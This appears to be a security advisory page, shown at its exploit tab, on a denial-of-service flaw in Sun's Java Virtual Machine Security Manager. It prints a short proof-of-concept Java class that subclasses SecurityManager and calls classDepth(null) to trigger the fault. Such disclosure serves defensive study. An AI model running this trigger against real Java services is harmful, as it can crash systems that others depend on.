Sun Microsystems Java Virtual Machine Security Manager Denial Of Service Vulnerability

info
discussion
exploit
solution
references

Sun Microsystems Java Virtual Machine Security Manager Denial Of Service Vulnerability

The following proof-of-concept code has been made available:

/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {

public void doit() {
System.out.println("doit");
int o = classDepth(null);
}

public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
}